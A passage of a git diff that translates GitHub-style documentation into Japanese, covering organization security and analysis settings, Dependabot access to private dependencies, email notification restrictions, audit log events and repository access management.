+表示されるページでは、Organization 内のリポジトリのすべてのセキュリティおよび分析機能を有効化または無効化にできます。
 
-{% ifversion ghec %}If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+{% ifversion ghec %}Organization が {% data variables.product.prodname_GH_advanced_security %} のライセンスを持つ Enterprise に属している場合、ページには {% data variables.product.prodname_advanced_security %} 機能を有効化または無効化するオプションも含まれます。 {% data variables.product.prodname_GH_advanced_security %} を使用するリポジトリは、ページの下部に一覧表示されます。{% endif %}
 
-{% ifversion ghes > 3.0 %}If you have a license for {% data variables.product.prodname_GH_advanced_security %}, the page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+{% ifversion ghes > 3.0 %}{% data variables.product.prodname_GH_advanced_security %} のライセンスをお持ちの場合、ページには {% data variables.product.prodname_advanced_security %} 機能を有効化または無効化するオプションも含まれています。 {% data variables.product.prodname_GH_advanced_security %} を使用するリポジトリは、ページの下部に一覧表示されます。{% endif %}
 
-{% ifversion ghae %}The page will also contain options to enable and disable {% data variables.product.prodname_advanced_security %} features. Any repositories that use {% data variables.product.prodname_GH_advanced_security %} are listed at the bottom of the page.{% endif %}
+{% ifversion ghae %}このページには、{% data variables.product.prodname_advanced_security %} 機能を有効化または無効化するオプションも含まれます。 {% data variables.product.prodname_GH_advanced_security %} を使用するリポジトリは、ページの下部に一覧表示されます。{% endif %}
 
-## Enabling or disabling a feature for all existing repositories
+## すべての既存のリポジトリに対して機能を有効化または無効化する
 
-You can enable or disable features for all repositories. 
-{% ifversion fpt or ghec %}The impact of your changes on repositories in your organization is determined by their visibility:
+すべてのリポジトリの機能を有効化または無効化できます。
+{% ifversion fpt or ghec %}変更が Organization 内のリポジトリに与える影響は、リポジトリの可視性によって決まります。
 
-- **Dependency graph** - Your changes affect only private repositories because the feature is always enabled for public repositories.
-- **{% data variables.product.prodname_dependabot_alerts %}** - Your changes affect all repositories.
-- **{% data variables.product.prodname_dependabot_security_updates %}** - Your changes affect all repositories.
+- **依存関係グラフ** - この機能はパブリックリポジトリに対して常に有効になっているため、変更はプライベートリポジトリにのみ影響します。
+- **{% data variables.product.prodname_dependabot_alerts %}** - 変更はすべてのリポジトリに影響します。
+- **{% data variables.product.prodname_dependabot_security_updates %}** - 変更はすべてのリポジトリに影響します。
 {%- ifversion ghec %}
-- **{% data variables.product.prodname_GH_advanced_security %}** - Your changes affect only private repositories because {% data variables.product.prodname_GH_advanced_security %} and the related features are always enabled for public repositories.
-- **{% data variables.product.prodname_secret_scanning_caps %}** - Your changes affect only private repositories where {% data variables.product.prodname_GH_advanced_security %} is also enabled. {% data variables.product.prodname_secret_scanning_caps %} is always enabled for public repositories.
+- **{% data variables.product.prodname_GH_advanced_security %}** - {% data variables.product.prodname_GH_advanced_security %} および関連機能は常にパブリックリポジトリに対して有効になっているため、変更はプライベートリポジトリにのみ影響します。
+- **{% data variables.product.prodname_secret_scanning_caps %}** - 変更は {% data variables.product.prodname_GH_advanced_security %} も有効になっているプライベートリポジトリにのみ影響します。 {% data variables.product.prodname_secret_scanning_caps %} は常にパブリックリポジトリに対して有効になっています。
 {% endif %}
 
 {% endif %}
 
 {% data reusables.advanced-security.note-org-enable-uses-seats %}
 
-1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-2. Under "Configure security and analysis features", to the right of the feature, click **Disable all** or **Enable all**. {% ifversion ghes > 3.0 or ghec %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if you have no available seats in your {% data variables.product.prodname_GH_advanced_security %} license.{% endif %}
+1. Organization のセキュリティと分析の設定に移動します。 詳しい情報については、「[セキュリティと分析の設定を表示する](#displaying-the-security-and-analysis-settings)」を参照してください。
+2. [Configure security and analysis features] で、機能の右側にある [**Disable all**] または [**Enable**] をクリックします。 {% ifversion ghes > 3.0 or ghec %}{% data variables.product.prodname_GH_advanced_security %} のライセンスにシートがない場合、「{% data variables.product.prodname_GH_advanced_security %}」の制御は無効になります。{% endif %}
    {% ifversion fpt %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-fpt.png)
+   ![[Configure security and analysis] 機能の [Enable all] または [Disable all] ボタン](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-fpt.png)
    {% endif %}
    {% ifversion ghec %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-ghec.png)
+   ![[Configure security and analysis] 機能の [Enable all] または [Disable all] ボタン](/assets/images/help/organizations/security-and-analysis-disable-or-enable-all-ghas-ghec.png)
    {% endif %}
    {% ifversion ghes > 3.2 %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
+   ![[Configure security and analysis] 機能の [Enable all] または [Disable all] ボタン](/assets/images/enterprise/3.3/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
    {% endif %}
    {% ifversion ghes = 3.1 or ghes = 3.2 %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
+   ![[Configure security and analysis] 機能の [Enable all] または [Disable all] ボタン](/assets/images/enterprise/3.1/help/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
    {% endif %}
    {% ifversion ghes = 3.0 %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.0/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
+   ![[Configure security and analysis] 機能の [Enable all] または [Disable all] ボタン](/assets/images/enterprise/3.0/organizations/security-and-analysis-disable-or-enable-all-ghas.png)
    {% endif %}
    {% ifversion ghae %}
-   !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/github-ae/organizations/security-and-analysis-disable-or-enable-all-ghae.png)
+   ![[Configure security and analysis] 機能の [Enable all] または [Disable all] ボタン](/assets/images/enterprise/github-ae/organizations/security-and-analysis-disable-or-enable-all-ghae.png)
    {% endif %}
    {% ifversion fpt or ghes = 3.0 or ghec %}
-3. Optionally, enable the feature by default for new repositories in your organization.
+3. オプションで、Organization の新しいリポジトリに対して機能をデフォルトで有効にすることもできます。
    {% ifversion fpt or ghec %}
-   !["Enable by default" option for new repositories](/assets/images/help/organizations/security-and-analysis-enable-by-default-in-modal.png)
+   ![新規のリポジトリの [Enable by default] オプション](/assets/images/help/organizations/security-and-analysis-enable-by-default-in-modal.png)
    {% endif %}
    {% ifversion ghes = 3.0 %}
-   !["Enable by default" option for new repositories](/assets/images/enterprise/3.0/organizations/security-and-analysis-secret-scanning-enable-by-default.png)
+   ![新規のリポジトリの [Enable by default] オプション](/assets/images/enterprise/3.0/organizations/security-and-analysis-secret-scanning-enable-by-default.png)
    {% endif %}
    {% endif %}
    {% ifversion fpt or ghes = 3.0 or ghec %}
-4. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories in your organization.
+4. Organization のすべてのリポジトリに対してこの機能を有効または無効にするには、[**Disable FEATURE**] または [**Enable FEATURE**] をクリックします。
    {% ifversion fpt or ghec %}
-   ![Button to disable or enable feature](/assets/images/help/organizations/security-and-analysis-enable-dependency-graph.png)
+   ![機能 を無効または有効にするボタン](/assets/images/help/organizations/security-and-analysis-enable-dependency-graph.png)
    {% endif %}
    {% ifversion ghes = 3.0 %}
-   ![Button to disable or enable feature](/assets/images/enterprise/3.0/organizations/security-and-analysis-enable-secret-scanning.png)
+   ![機能 を無効または有効にするボタン](/assets/images/enterprise/3.0/organizations/security-and-analysis-enable-secret-scanning.png)
    {% endif %}
    {% endif %}
    {% ifversion ghae or ghes > 3.0 %}
-3. Click **Enable/Disable all** or **Enable/Disable for eligible repositories** to confirm the change.
-   ![Button to enable feature for all the eligible repositories in the organization](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-secret-scanning-existing-repos-ghae.png)
+3. **[Enable/Disable all]**あるいは**[Enable/Disable for eligible repositories]**をクリックして、変更を確認します。 ![Organization 内の適格なすべてのリポジトリの機能を有効化するボタン](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-secret-scanning-existing-repos-ghae.png)
    {% endif %}
 
    {% data reusables.security.displayed-information %}
 
-## Enabling or disabling a feature automatically when new repositories are added
+## 新しいリポジトリが追加されたときに機能を自動的に有効化または無効化する
 
-1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-2. Under "Configure security and analysis features", to the right of the feature, enable or disable the feature by default for new repositories{% ifversion fpt or ghec %}, or all new private repositories,{% endif %} in your organization.
+1. Organization のセキュリティと分析の設定に移動します。 詳しい情報については、「[セキュリティと分析の設定を表示する](#displaying-the-security-and-analysis-settings)」を参照してください。
+2. [Configure security and analysis features]の下で、機能の右から、Organizatin中の新しいリポジトリ{% ifversion fpt or ghec %}あるいはすべての新しいプライベートリポジトリ{% endif %}でデフォルトでその機能を有効または無効にします。
    {% ifversion fpt %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-fpt.png)
+   ![新規のリポジトリに対して機能を有効または無効にするチェックボックス](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-fpt.png)
    {% endif %}
    {% ifversion ghec %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-ghec.png)
+   ![新規のリポジトリに対して機能を有効または無効にするチェックボックス](/assets/images/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox-ghec.png)
    {% endif %}
   {% ifversion ghes > 3.2 %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.3/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
+   ![新規のリポジトリに対して機能を有効または無効にするチェックボックス](/assets/images/enterprise/3.3/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
    {% endif %}
    {% ifversion ghes = 3.1 or ghes = 3.2 %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.1/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
+   ![新規のリポジトリに対して機能を有効または無効にするチェックボックス](/assets/images/enterprise/3.1/help/organizations/security-and-analysis-enable-or-disable-feature-checkbox.png)
    {% endif %}
    {% ifversion ghes = 3.0 %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.0/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox.png)
+   ![新規のリポジトリに対して機能を有効または無効にするチェックボックス](/assets/images/enterprise/3.0/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox.png)
    {% endif %}
    {% ifversion ghae %}
-   ![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox-ghae.png)
+   ![新規のリポジトリに対して機能を有効または無効にするチェックボックス](/assets/images/enterprise/github-ae/organizations/security-and-analysis-enable-or-disable-secret-scanning-checkbox-ghae.png)
    {% endif %}
 
 {% ifversion ghec or ghes > 3.2 %}
 <!--TODO confirm that this functionality is intentionally not available for FPT -->
 
-## Allowing {% data variables.product.prodname_dependabot %} to access private dependencies
+## {% data variables.product.prodname_dependabot %} のプライベート依存関係へのアクセスを許可する
 
-{% data variables.product.prodname_dependabot %} can check for outdated dependency references in a project and automatically generate a pull request to update them. To do this, {% data variables.product.prodname_dependabot %} must have access to all of the targeted dependency files. Typically, version updates will fail if one or more dependencies are inaccessible. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)."
+{% data variables.product.prodname_dependabot %} は、プロジェクト内の古い依存関係参照をチェックし、それらを更新するためのプルリクエストを自動的に生成できます。 これを行うには、{% data variables.product.prodname_dependabot %} がすべてのターゲット依存関係ファイルにアクセスできる必要があります。 通常、1 つ以上の依存関係にアクセスできない場合、バージョン更新は失敗します。 詳しい情報については、「[{% data variables.product.prodname_dependabot %} バージョン更新について](/github/administering-a-repository/about-dependabot-version-updates)」を参照してください。
 
-By default, {% data variables.product.prodname_dependabot %} can't update dependencies that are located in private repositories or private package registries. However, if a dependency is in a private {% data variables.product.prodname_dotcom %} repository within the same organization as the project that uses that dependency, you can allow {% data variables.product.prodname_dependabot %} to update the version successfully by giving it access to the host repository.
+デフォルトでは、{% data variables.product.prodname_dependabot %} はプライベートリポジトリまたはプライベートパッケージレジストリにある依存関係を更新できません。 ただし、依存関係が、その依存関係を使用するプロジェクトと同じ Organization 内のプライベート {% data variables.product.prodname_dotcom %} リポジトリにある場合は、ホストリポジトリへのアクセスを許可することで、{% data variables.product.prodname_dependabot %} がバージョンを正常に更新できるようにすることができます。
 
-If your code depends on packages in a private registry, you can allow {% data variables.product.prodname_dependabot %} to update the versions of these dependencies by configuring this at the repository level. You do this by adding authentication details to the _dependabot.yml_ file for the repository. For more information, see "[Configuration options for dependency updates](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries)."
+コードがプライベートレジストリ内のパッケージに依存している場合は、リポジトリレベルでこれを設定することにより、{% data variables.product.prodname_dependabot %} がこれらの依存関係のバージョンを更新できるようにすることができます。 これを行うには、リポジトリの _dependabot.yml_ ファイルに認証の詳細を追加します。 詳しい情報については、「[依存関係の更新の設定オプション](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries) 」を参照してください。
 
-To allow {% data variables.product.prodname_dependabot %} to access a private {% data variables.product.prodname_dotcom %} repository:
+{% data variables.product.prodname_dependabot %} がプライベート {% data variables.product.prodname_dotcom %} リポジトリにアクセスできるようにするには：
 
-1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-1. Under "{% data variables.product.prodname_dependabot %} private repository access", click **Add private repositories** or **Add internal and private repositories**.
-   ![Add repositories button](/assets/images/help/organizations/dependabot-private-repository-access.png)
-1. Start typing the name of the repository you want to allow.
-   ![Repository search field with filtered dropdown](/assets/images/help/organizations/dependabot-private-repo-choose.png)
-1. Click the repository you want to allow.
+1. Organization のセキュリティと分析の設定に移動します。 詳しい情報については、「[セキュリティと分析の設定を表示する](#displaying-the-security-and-analysis-settings)」を参照してください。
+1. [{% data variables.product.prodname_dependabot %} private repository access] の下で、[**Add private repositories**] または [**Add internal and private repositories**] をクリックします。 ![[Add repositories] ボタン](/assets/images/help/organizations/dependabot-private-repository-access.png)
+1. 許可するリポジトリの名前を入力します。 ![Repository search field with filtered dropdown](/assets/images/help/organizations/dependabot-private-repo-choose.png)
+1. 許可するリポジトリをクリックします。
 
-1. Optionally, to remove a repository from the list, to the right of the repository, click {% octicon "x" aria-label="The X icon" %}.
-   !["X" button to remove a repository](/assets/images/help/organizations/dependabot-private-repository-list.png)
+1. あるいは、リストからリポジトリを差k除するには、リポジトリの右の{% octicon "x" aria-label="The X icon" %}をクリックします。 ![リポジトリを削除する [X] ボタン](/assets/images/help/organizations/dependabot-private-repository-list.png)
 {% endif %}
 
 {% ifversion ghes > 3.0 or ghec %}
 
-## Removing access to {% data variables.product.prodname_GH_advanced_security %} from individual repositories in an organization
+## Organization 内の個々のリポジトリから {% data variables.product.prodname_GH_advanced_security %} へのアクセスを削除する
 
-You can manage access to {% data variables.product.prodname_GH_advanced_security %} features for a repository from its "Settings" tab. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." However, you can also disable {% data variables.product.prodname_GH_advanced_security %} features for a repository from the "Settings" tab for the organization.
+[Settings] タブから、リポジトリの {% data variables.product.prodname_GH_advanced_security %} 機能へのアクセスを管理できます。 詳しい情報については「[リポジトリのセキュリティ及び分析の設定の管理](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」を参照してください。 ただし、Organization の [Settings] タブから、リポジトリの {% data variables.product.prodname_GH_advanced_security %} 機能を無効にすることもできます。
 
-1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-1. To see a list of all the repositories in your organization with {% data variables.product.prodname_GH_advanced_security %} enabled, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section.
-  ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/organizations/settings-security-analysis-ghas-repos-list.png)
-  The table lists the number of unique committers for each repository. This is the number of seats you could free up on your license by removing access to {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."
-1. To remove access to {% data variables.product.prodname_GH_advanced_security %} from a repository and free up seats used by any committers that are unique to the repository, click the adjacent {% octicon "x" aria-label="X symbol" %}.
-1. In the confirmation dialog, click **Remove repository** to remove access to the features of {% data variables.product.prodname_GH_advanced_security %}.
+1. Organization のセキュリティと分析の設定に移動します。 詳しい情報については、「[セキュリティと分析の設定を表示する](#displaying-the-security-and-analysis-settings)」を参照してください。
+1. {% data variables.product.prodname_GH_advanced_security %} が有効になっている Organization 内のすべてのリポジトリのリストを表示するには、「{% data variables.product.prodname_GH_advanced_security %} リポジトリ」セクションまでスクロールします。 ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/organizations/settings-security-analysis-ghas-repos-list.png) この表は、各リポジトリの一意のコミッターの数を示しています。 これは、{% data variables.product.prodname_GH_advanced_security %} へのアクセスを削除することによりライセンスで解放できるシートの数です。 詳しい情報については、「[{% data variables.product.prodname_GH_advanced_security %}の支払いについて](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)」を参照してください。
+1. リポジトリから {% data variables.product.prodname_GH_advanced_security %} へのアクセスを削除し、リポジトリ固有のコミッターが使用するシートを解放するには、隣接する {% octicon "x" aria-label="X symbol" %} をクリックします。
+1. 確認ダイアログで、[**Remove repository**] をクリックして、{% data variables.product.prodname_GH_advanced_security %} の機能へのアクセスを削除します。
 
 {% note %}
 
-**Note:** If you remove access to {% data variables.product.prodname_GH_advanced_security %} for a repository, you should communicate with the affected development team so that they know that the change was intended. This ensures that they don't waste time debugging failed runs of code scanning.
+**注釈:** リポジトリの {% data variables.product.prodname_GH_advanced_security %} へのアクセスを削除する場合は、影響を受ける開発チームと連絡を取り、変更が意図されたものかを確認する必要があります。 これにより、失敗したコードスキャンの実行をデバッグすることに時間を費すことがなくなります。
 
 {% endnote %}
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not fpt %}
+- 「[リポジトリの保護](/code-security/getting-started/securing-your-repository)」{% ifversion not fpt %}
 - "[About secret scanning](/github/administering-a-repository/about-secret-scanning)"{% endif %}{% ifversion not ghae %}
-- "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
+- [依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)
 - "[Managing vulnerabilities in your project's dependencies](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)"{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Keeping your dependencies updated automatically](/github/administering-a-repository/keeping-your-dependencies-updated-automatically)"{% endif %}
+- [依存関係を自動的に更新する](/github/administering-a-repository/keeping-your-dependencies-updated-automatically){% endif %}
diff --git a/translations/ja-JP/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md b/translations/ja-JP/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
index 609f0b67d1..3c3f1ab358 100644
--- a/translations/ja-JP/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting email notifications for your organization
-intro: 'To prevent organization information from leaking into personal email accounts, you can restrict the domains where members can receive email notifications about organization activity.'
+title: Organizationのメール通知の制限
+intro: Organizationの情報が個人のメールアカウントに漏れてしまうことを避けるために、メンバーがOrganizationのアクティビティに関するメール通知を受信できるドメインを制限できます。
 product: '{% data reusables.gated-features.restrict-email-domain %}'
 permissions: Organization owners can restrict email notifications for an organization.
 redirect_from:
@@ -18,29 +18,29 @@ topics:
   - Notifications
   - Organizations
   - Policy
-shortTitle: Restrict email notifications
+shortTitle: メール通知の制限
 ---
 
-## About email restrictions
+## メールの制限について
 
-When restricted email notifications are enabled in an organization, members can only use an email address associated with a verified or approved domain to receive email notifications about organization activity. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Organization で制限付きのメール通知が有効になっている場合、メンバーは Organization の検証済みあるいは承認済みドメインに関連付けられたメールアドレスのみを使用して、Organization のアクティビティに関するメール通知を受信できます。 詳しい情報については「[Organizationのドメインの検証もしくは承認](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)」を参照してください。
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
 {% data reusables.notifications.email-restrictions-verification %}
 
-Outside collaborators are not subject to restrictions on email notifications for verified or approved domains. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+外部のコラボレーターは、検証済みあるいは承認済みドメインへのメール通知の制限の対象になりません。 For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
 
-If your organization is owned by an enterprise account, organization members will be able to receive notifications from any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
+Enterprise アカウントがオーナーの Organization の場合、Organization のメンバーは、Organization の検証済みあるいは承認済みドメインに加えて、Enterprise アカウントの検証済みあるいは承認済みドメインから通知を受け取ることができます。 For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
 
-## Restricting email notifications
+## メール通知の制限
 
-Before you can restrict email notifications for your organization, you must verify or approve at least one domain for the organization, or an enterprise owner must have verified or approved at least one domain for the enterprise account.
+Organizationのメール通知を制限できるようにするには、Oraganizationに対して最低1つのドメインを検証あるいは承認するか、EnterpriseのオーナーがEnterpriseアカウントに対して最低1つのドメインを検証あるいは承認しなければなりません。
 
-For more information about verifying and approving domains for an organization, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Organizationの検証済み及び承認済みドメインに関する詳しい情報については「[Organizationのドメインの検証もしくは承認](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)」を参照してください。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.verified-domains %}
 {% data reusables.organizations.restrict-email-notifications %}
-6. Click **Save**.
+6. [**Save**] をクリックします。
diff --git a/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
index c6eb09d519..034abf484e 100644
--- a/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
@@ -515,7 +515,6 @@ For more information, see "[Managing the publication of {% data variables.produc
 
 | Action | Description
 |------------------|-------------------
-| `clear` | Triggered when a payment method on file is [removed](/articles/removing-a-payment-method).
 | `create` |  Triggered when a new payment method is added, such as a new credit card or PayPal account.
 | `update` | Triggered when an existing payment method is updated.
 
@@ -550,7 +549,7 @@ For more information, see "[Managing the publication of {% data variables.produc
 | `update_require_code_owner_review ` | Triggered when enforcement of required Code Owner review is updated on a branch.
 | `dismiss_stale_reviews ` | Triggered when enforcement of dismissing stale pull requests is updated on a branch.
 | `update_signature_requirement_enforcement_level ` | Triggered when enforcement of required commit signing is updated on a branch.
-| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch.
+| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone).
 | `update_required_status_checks_enforcement_level ` | Triggered when enforcement of required status checks is updated on a branch.
 | `update_strict_required_status_checks_policy` | Triggered when the requirement for a branch to be up to date before merging is changed.
 | `rejected_ref_update ` | Triggered when a branch update attempt is rejected.
diff --git a/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/index.md b/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/index.md
index 94a30b7368..edb0eac4eb 100644
--- a/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/index.md
+++ b/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your organization's repositories
-intro: Organization owners can manage individual and team access to the organization's repositories. Team maintainers can also manage a team's repository access.
+title: Organization のリポジトリに対するアクセスを管理する
+intro: Organization のオーナーは、Organization のリポジトリに対する個人およびチームのアクセスを管理できます。 チームメンテナは、チームのリポジトリアクセスを管理することも可能です。
 redirect_from:
   - /articles/permission-levels-for-an-organization-repository
   - /articles/managing-access-to-your-organization-s-repositories
@@ -26,6 +26,6 @@ children:
   - /converting-an-organization-member-to-an-outside-collaborator
   - /converting-an-outside-collaborator-to-an-organization-member
   - /reinstating-a-former-outside-collaborators-access-to-your-organization
-shortTitle: Manage access to repositories
+shortTitle: リポジトリへのアクセスの管理
 ---
 
diff --git a/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md b/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
index 4e2c599dd2..dfe4d51372 100644
--- a/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
+++ b/translations/ja-JP/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing an individual's access to an organization repository
-intro: You can manage a person's access to a repository owned by your organization.
+title: Organization のリポジトリへの個人のアクセスを管理する
+intro: Organization が所有するリポジトリへの個人のアクセスを管理できます。
 redirect_from:
   - /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program
   - /articles/managing-an-individual-s-access-to-an-organization-repository
@@ -14,13 +14,13 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage individual access
+shortTitle: 個人のアクセスの管理
 permissions: People with admin access to a repository can manage access to the repository.
 ---
 
 ## About access to organization repositories
 
-When you remove a collaborator from a repository in your organization, the collaborator loses read and write access to the repository. If the repository is private and the collaborator has forked the repository, then their fork is also deleted, but the collaborator will still retain any local clones of your repository.
+Organization のリポジトリからコラボレーターを削除すると、そのコラボレータはリポジトリに対する読み取りおよび書き込みアクセスを失います。 リポジトリがプライベートで、コラボレータがリポジトリをフォークしている場合、そのそのフォークも削除されますが、リポジトリのローカルクローンは保持したままになります。
 
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
@@ -30,25 +30,20 @@ When you remove a collaborator from a repository in your organization, the colla
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
 {% data reusables.organizations.invite-teams-or-people %}
-5. In the search field, start typing the name of the person to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png)
-6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**.
-  ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
+5. In the search field, start typing the name of the person to invite, then click a name in the list of matches. ![リポジトリに招待する Team または人の名前を入力するための検索フィールド](/assets/images/help/repository/manage-access-invite-search-field.png)
+6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**. ![Team または人の権限を選択する](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
 
-## Managing an individual's access to an organization repository
+## Organization のリポジトリへの個人のアクセスを管理する
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Click either **Members** or **Outside collaborators** to manage people with different types of access. ![Button to invite members or outside collaborators to an organization](/assets/images/help/organizations/select-outside-collaborators.png)
-5. To the right of the name of the person you'd like to manage, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**.
-  ![The manage access link](/assets/images/help/organizations/member-manage-access.png)
-6. On the "Manage access" page, next to the repository, click **Manage access**.
-![Manage access button for a repository](/assets/images/help/organizations/repository-manage-access.png)
-7. Review the person's access to a given repository, such as whether they're a collaborator or have access to the repository via team membership.
-![Repository access matrix for the user](/assets/images/help/organizations/repository-access-matrix-for-user.png)
+4. アクセスのタイプが異なるユーザを管理するには、[**Members**] または [**Outside collaborators**] をクリックします。 ![メンバーまたは外部コラボレーターを Organization に招待するボタン](/assets/images/help/organizations/select-outside-collaborators.png)
